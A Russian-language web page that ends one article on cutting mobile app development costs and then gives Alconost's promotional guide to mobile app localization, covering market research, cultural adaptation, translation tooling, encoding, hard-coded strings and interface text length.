12. Сократите расходы на поддержку приложения: не покупайте много часов заранее, откажитесь от поддержки по SLA, создайте понятную документацию, в которой разработчики смогут быстро и легко ориентироваться.
13. Выбирайте работу по схеме Time & Materials, чтобы минимизировать расходы на риски.

Поделитесь своим опытом снижения цены мобильной разработки

В этом материале я дал несколько советов, подходящих для разработки любого проекта. Но каждое приложение индивидуально у него множество тонкостей, к которым нужен свой подход. Если у вас есть другие кейсы и советы, о которых вы готовы рассказать, жду вас в комментариях. Если ни один из способов не решает вашу проблему опишите её в комментариях, чтобы мы и наши коллеги по отрасли подумали, как её решить.

Изменения неизбежны. Рост не гарантирован.
Джон Максвелл

Хотя цитата Максвелла и может показаться чрезмерно обобщённой, но она абсолютно применима и к разработке приложения.

То есть если у вас есть приложение и на него есть локальный спрос, когда-нибудь вы встанете перед выбором: выходить на новые рынки или нет, что в конечном итоге означает отказ от доли рынка и роста. На самом деле, для разработчиков продукта, нацеленных на рост, это всего лишь пресловутый выбор Хобсона. То есть когда именно начнётся локализация мобильных приложений лишь вопрос времени.

Успешно выполнить проект по локализации задача не из лёгких. Есть множество подводных камней и факторов успеха, влияющих на рабочий процесс. Поэтому мы в Alconost решили поделиться с вами нашим многолетним опытом. Надеемся, эти экспертные советы сэкономят вам время, усилия и бюджет.

Читайте дальше, мы вот-вот собираемся погрузиться глубже в тему.

Написано в Alconost

1. Изучите рынок приложения как свои пять пальцев

Самая большая опасность при вводе в приложение новых локалей плохо знать своих пользователей. В первую очередь, вы должны убедиться, что ваше приложение хорошо примут на новом рынке, и его ROI (return-on-investments) будет положительным.

Здесь вам помогут два простых вопроса:

Ваше приложение востребовано на местном рынке?

Готовы ли местные пользователи за него платить?

Изучите целевую аудиторию до локализации вашего приложения

Ваше исследование должно учитывать различные подробности о ваших пользователях: демографическое соотношение, поведение, образ жизни, технологические привычки и предпочтения, культурные представления, социальные тенденции и многие другие характеристики.

Результаты могут указать на то, что, хотя приложение, которое вы предлагаете, по всей видимости, должно заинтересовать целевую аудиторию, в нём необходимо дифференцировать дизайн или платные функции. К примеру, может быть так, что некоторые бесплатные фичи окажутся в данном регионе более ценными, чем платные. То есть имеет смысл адаптировать платную подписку и её функционал.

Другой пример дизайн и цветовая гамма. По нашему опыту, часто имеет смысл адаптировать дизайн интерфейса и скриншоты под каждый целевой регион.

Изучите локализации конкурентов в целевом регионе

Обратите внимание на проекты по локализации конкурентов какое приложение было радушно принято, а какое потерпел фиаско. И главное почему?

Например, если вы хотите запустить мобильное приложение для владельцев домашних животных в Корее, сначала узнайте, кто уже это делал до вас и что из этого получилось. Как говориться, лучше учиться на чужом опыте, плохом и хорошем.

Анализ конкурентов также поможет нащупать, где именно может быть ваше конкурентное преимущество и как его лучше преподнести целевой аудитории.

Обеспечьте клиентскую поддержку для локализованного приложения

Наконец, будьте готовы предоставить клиентам надлежащую поддержку на местном языке и обеспечьте надёжный канал для коммуникации (чат, форум в сообществе, телефонная линия или сообщения внутри приложения). Это важно, поскольку при выходе на новый рынок своевременная обратная связь ценится на вес золота чем быстрее вы получите фидбэк, тем быстрее вы на него отреагируете.

2. Обратите внимание на культурные различия

Вы можете досконально изучить рыночные показатели, но это не всё, что вам понадобится. Вы также должны понять сущность вашей аудитории, их культуру, ценности, образ жизни и табу. Зачем? Потому что выход локализованных версий продукта почти то же самое, что его первый запуск, только точечно, на целевом рынке.

Так как же культурные различия проявляются в локализованной версии приложения? Некоторые особенности могут сыграть огромную роль при локализации термины, шутки, цветовая гамма, числа, меры и целые изображения. Держать всё это под контролем очень сложно, если вообще возможно, тем более, если вам нужно локализовать своё приложение на 10 или 20 языков всего за несколько недель.

Поэтому лучшее, что мы можем посоветовать привлечь профессиональных специалистов по локализации в ваш проект, чтобы всеми культурными аспектами перевода занимались носители языка и опытные проектные менеджеры.

У нас есть яркий пример, как мы справились с культурными различиями проект локализации игры Streets of Rogue. Самым сложным было локализовать диалоги и юмор, характерные для жанра rogue-like, на 7 языков всего за 2 недели пришлось по особому подойти к подбору соответствующих лингвистов для проекта. Однако, по нашему скромному мнению, в итоге всё вышло хорошо, и на проекте было много забавных моментов посмотрите сами!


Примеры перевода некоторых смешных диалогов в игре Streets of Rogue

3. Будьте готовы окунуться в процесс перевода

Конечно, необходимо нанять опытных переводчиков, но на этом работа не заканчивается, а напротив, только начинается.

Создание глоссария приложения

По правде, к самому началу локализации есть смысл как следует подготовиться. Это подразумевает подготовку глоссария, списка терминов и имён, которые должны остаться неизменными в процессе локализации. Впоследствии эти ресурсы обеспечивают единообразие перевода.

Актуализация памяти переводов

Эту часть работы обычно выполняет команда по локализации. К примеру, мы в Alconost создаём и поддерживаем память переводов для каждого языка базу данных всех переводов, когда-либо загруженных в систему управления переводами.

Память переводов в значительной степени оптимизирует процесс непрерывной локализации, обнаруживая нечеткие совпадения (повторяющиеся и частично совпадающие тексты) и обеспечивая стопроцентное единообразие.

Будьте на связи со своей командой по локализации

Это помогает обеспечить достаточный контекст, который, в свою очередь, необходим, чтобы перевод был точным и естественным. Вы потратите время, но в конечном итоге это оправданно. В конце концов, существует ряд облачных платформ управления локализацией, которые позволяют всем членам команды взаимодействовать в режиме реального времени, быстро и отлажено.

4. Выполняйте локализацию технически грамотно избегайте повторяющихся и механических задач

Когда дело доходит до локализации вашего приложения, постарайтесь не отставать от передовых технологий. Речь идёт не о следовании тренду, а о банальной эффективности, которой способствует построение всего процесса в одной из облачных платформ по локализации.

На схеме ниже мы показали, как примерно выглядит процесс локализации в нашей компании.



Исходя из опыта, мы советуем максимально адаптировать процесс непрерывной локализации (continuous localization) к непрерывной поставке (continuous delivery). Тем самым вы обеспечите непрерывную независимую работу обоих потоков agile-логика. Кроме того, локализация будет тестироваться в рамках стандартного процесса QA (quality assessment).

Что касается лингвистического контроля качества, его лучше проводить одновременно с функциональным тестированием. Пока ваши тестировщики проверяют переведённый билд, команда локализации проверяет перевод и пользовательский интерфейс.

Системы управления переводами

Теперь перейдём к части диаграммы, касающейся локализации. Существуют различные удобные системы (платформы) управления переводами, и опыт показывает, что для каждого конкретного проекта выбор системы определяется предпочтениями собственника продукта и архитектурой приложения.

Для приложений нас чаще всего просят использовать Crowdin, в то время как для проектов GitHub мы в основном пользуемся платформой GitLocalize, полностью интегрированной с репозиторием. Системы управления переводами, как правило, поддерживают различные форматы файловых ресурсов и включают в себя память переводов и глоссарии. Однако есть нюанс.

Если ваши ресурсные файлы не запрограммированы жёстко и система управления переводами их поддерживает, всё в порядке. Если нет, то вам нужно конвертировать файлы в определённый промежуточный формат для ввода в систему. После перевода вы конвертируете их обратно. В итоге вся задача отнимает много времени и сил, не принося результата, поэтому нас часто просят разработать специализированные интеграторы, конвертеры и коннекторы для удовлетворения конкретных требований проекта.

Итак, первая проблема на этом этапе извлекаемость ресурсных файлов.

Давайте внимательнее рассмотрим некоторые другие узкие места: предупреждён значит вооружён!

Фактор узкого места 2: Кодировка переводов

Кодировку банально, но нужно проверять до передачи файлов. Порой требуется много времени и усилий, чтобы избавиться от этих странных символов на целевом языке после локализации.

Мы рекомендуем всегда, по возможности, использовать Юникод вместо ASCII. А именно, наиболее распространённую и компактную кодировку UTF-8. Так что, пожалуйста, убедитесь, что передаёте локализационные файлы в правильной кодировке.

Фактор узкого места 3: жёстко закодированные строки

Ещё одно больное место жёстко закодированные строки или такие строки, которые можно извлечь только с помощью специального инструмента. Проблема в том, что текст в этих строках не извлекается при прохождении через обычные преобразователи и, как следствие, не локализуется.

В итоге при тестировании локализованной сборки на целевом языке обнаруживаются непереведённые фрагменты текста. Поэтому мы рекомендуем не кодировать жёстко текст, а использовать плейсхолдеры и средства форматирования, делая их частью фразы, чтобы их можно было перевести в контексте.

Фактор узкого места 4: числовые форматы и единицы измерения

Обратите внимание на то, чтобы числа и единицы измерения находились внутри текста и в контексте. Вот небольшой пример, как надо и не надо делать:

Нет: Мама съела + %num + яблок.
Да: Мама съела %num + яблок.

Фактор узкого места 5: ошибки интерфейса

Наконец, контроль качества переведённого билда помогает выявить некоторые ошибки пользовательского интерфейса, а именно несоответствие текста размерам элементов пользовательского интерфейса (пунктов меню, кнопок, экранов и т. д.).

Поэтому при создании элементов интерфейса, как правило, имеет смысл закладывать как минимум 30% дополнительного пространства (или больше, если это возможно) для других языков. Это особенно актуально для коротких строк (пунктов меню, форм и т. д.).

Ещё один совет: делайте дизайн интерфейса, опираясь на худший с точки зрения возможной длины текста язык локализации. Например, немецкая версия текста в среднем на 30% длиннее английской, а текст на русском языке в среднем на 10% длиннее. То же самое обычно справедливо для арабской локализации. Между тем традиционные китайские иероглифы, как правило, требуют на 30% меньше места, чем латинский алфавит.

5. Соберите команду по локализации и организуйте процесс

Теперь, когда мы рассмотрели наиболее распространённые проблемы локализации приложений, вы видите, что в каждом проекте есть задачи по маркетингу, лингвистике, культуре, разработке, тестированию и управлению. Это означает, что вам нужно собрать команду и с самого начала выстроить правильные процессы, чтобы проект локализации работал как часы.

Вариантов много: создать собственную команду или отдать локализацию на аутсорсинг, в зависимости от ваших ресурсов и целей. Просто убедитесь, что вы выбрали надёжное профессиональное решение и подготовьтесь заранее.

Мы надеемся, что эти советы были полезны, и желаем вам удачи в ваших проектах по локализации!

Об авторе

Статья написана в Alconost.

Alconost занимается локализацией игр, приложений и сайтов на 70 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов.

Мы также делаем рекламные и обучающие видеоролики для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.

Подробнее